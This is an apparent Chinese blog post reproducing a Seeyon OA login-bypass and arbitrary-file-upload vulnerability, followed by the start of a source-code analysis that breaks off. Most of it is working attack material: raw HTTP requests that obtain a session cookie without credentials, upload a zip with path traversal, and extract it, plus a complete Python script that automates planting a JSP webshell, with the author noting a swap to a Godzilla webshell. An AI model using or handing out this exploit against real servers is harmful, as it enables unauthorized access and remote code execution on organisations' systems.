致远漏洞（登陆绕过+任意文件上传）

最新推荐文章于 2026-04-23 12:48:13 发布

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最新推荐文章于 2026-04-23 12:48:13 发布 · 6k 阅读

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#java #web安全 #网络安全

漏洞复现

1.获得cookie

POST /seeyon/thirdpartyController.do HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133

method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

在这里插入图片描述
224791DA45D8CCAC687C1D40EB11A1AC
9D5488963545F408D71933161CCCAF53
每次请求都会得到一个cookie值，都可以用，如下：
失败的cookie如下：
2.上传zip文件

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host: 192.168.1.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1079

-----------------------------1416682316313
Content-Disposition: form-data; name="type"


-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"


-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"


-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"


-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"


-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"


-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="123.zip"
Content-Type: application/x-zip-compressed

zip文件
-----------------------------1416682316313--

注意这里zip文件直接burp右键paste from file放进去即可
在这里插入图片描述

这里压缩文件如上

3.解压压缩文件

POST /seeyon/ajax.do HTTP/1.1
Host: 192.168.1.9 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=224791DA45D8CCAC687C1D40EB11A1AC
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2024-02-23","-8399929361113331102"]

在这里插入图片描述
可以看到报错找不到指定文件，是因为我们压缩包中没有带layout.xml，其必须存在否则在利用解压漏洞时会解压失败空内容即可

注意上传目录：在这里插入图片描述
然后我重新生成zip文件
再次解压，
但是访问不到，应该这里有问题

因为解压出来的目录都为空，直接用下面脚本吧

这里利用脚本来进行攻击利用
223.py

# coding:utf-8
import time
import requests
import re
import sys
import random
import zipfile


la = {
   
   'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0',
           'Content-Type': 'application/x-www-form-urlencoded'}

def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../'+webshell_name1

def file_zip():
    shell = 'test'   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr('layout.xml', "")
    zf.writestr(webshell_name2, shell)


def Seeyon_Getshell(urllist):

    url = urllist+'/seeyon/thirdpartyController.do'
    post = "method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04+LjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1"
    response = requests.post(url=url, data=post, headers=la)
    if response and response.status_code == 200 and 'set-cookie' in str(response.headers).lower():
        cookie = response.cookies
        cookies = requests.utils.dict_from_cookiejar(cookie)
        jsessionid = cookies['JSESSIONID']
        file_zip()
        print( '获取cookie成功---->> '+jsessionid)
        fileurl = urllist+'/seeyon/fileUpload.do?method=processUpload&maxSize='
        headersfile = {
   
   'Cookie': "JSESSIONID=%s" % jsessionid}
        post = {
   
   'callMethod': 'resizeLayout', 'firstSave': "true", 'takeOver': "false", "type": '0',
                'isEncrypt': "0"}
        file = [('file1', ('test.png', open(mm+'.zip', 'rb'), 'image/png'))]
        filego = requests.post(url=fileurl,data=post,files=file, headers=headersfile)
        time.sleep(2)
    else:
        print('获取cookie失败')
        exit()
    if filego.text:
        fileid1 = re.findall('fileurls=fileurls\+","\+\'(.+)\'', filego.text, re.I)
        fileid = fileid1[0]
        if len(fileid1) == 0:
            print('未获取到文件id可能上传失败！')
        print('上传成功文件id为---->>:'+fileid)
        Date_time = time.strftime('%Y-%m-%d')
        headersfile2 = {'Content-Type': 'application/x-www-form-urlencoded','Cookie': "JSESSIONID=%s" % jsessionid}
        getshellurl = urllist+'/seeyon/ajax.do'
        data = 'method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=%5B0%2C%22' + Date_time + '%22%2C%22' + fileid + '%22%5D'
        getshell = requests.post(url=getshellurl,data=data,headers=headersfile2)
        time.sleep(1)
        webshellurl1 = urllist + '/seeyon/common/designer/pageLayout/' + webshell_name1
        shelllist = requests.get(url=webshellurl1)
        if shelllist.status_code == 200:
            print('利用成功webshell地址：'+webshellurl1)
        else:
            print('未找到webshell利用失败')



def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        Seeyon_Getshell(url)
    else:
        print("python3 Seeyon_Getshell.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()

python.exe 223.py http://192.168.1.2
在这里插入图片描述

然后我们在本地找找文件上传目录
因为脚本中加了…/，所以就在pageLayout根目录，如果不加…/会在2853431203184658860文件夹下面，

可以看到layout只需要有这个文件就行，0kb就行，所以我们上面手动的操作没问题，但是不知道哪有问题

我们改掉shell内容，为哥斯拉jsp 在这里插入图片描述

可以看到漏洞利用成功

漏洞原理

任意账户登录分析

首先搜索thirdpartyController.do接口
在这里插入图片描述
然后找到ThirdpartyController类路径

可以根据路由接口找到对应配置文件中类文件的映射找到类路径

根据exp知道调用了access方法

@NeedlessCheckLogin
public ModelAndView access(HttpServletRequest request, HttpServletResponse response) throws E

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